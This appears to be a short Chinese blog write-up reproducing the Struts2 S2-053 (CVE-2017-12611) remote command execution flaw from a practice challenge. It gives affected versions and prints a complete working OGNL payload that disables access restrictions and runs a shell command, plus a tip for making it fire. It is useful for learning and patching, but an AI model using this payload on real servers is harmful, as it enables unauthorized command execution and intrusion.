• Struct2远程命令执行漏洞(S2-053)复现学习


    1.S2-053(CVE-2017-12611) RCE出自一道题目

    http://www.whalwl.cn:8027/hello.action

     漏洞产生原因:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。(说句实话,没看懂啥意思,不过大致意思是没有处理好用户输入,导致rce产生)

    影响版本:Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10

    参考的是这两篇文章的内容以及exp

    https://www.freebuf.com/vuls/147735.html

    https://blog.csdn.net/qq_29647709/article/details/84955205

    Payload:

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
    

     payload中加粗标红的是需要执行的命令

     值得一说的是这段payload有一个小坑,最后要按一下换行,不然无法执行命令

    后面的原理分析什麼的以后再补上

  • 相关阅读:
    ORB Test Hanson
    ajax异步传输中的乱码问题
    调用淘宝API遇到的问题
    doc命令查看电脑配置大全
    从关联数组中取得键名
    php图片上传
    doc命令查看电脑配置
    一个空间配置多个虚拟主机
    淘客网站中系统信息获取
    opendir(path,context)
  • 原文地址:https://www.cnblogs.com/mke2fs/p/11697107.html
Copyright © 2020-2023  润新知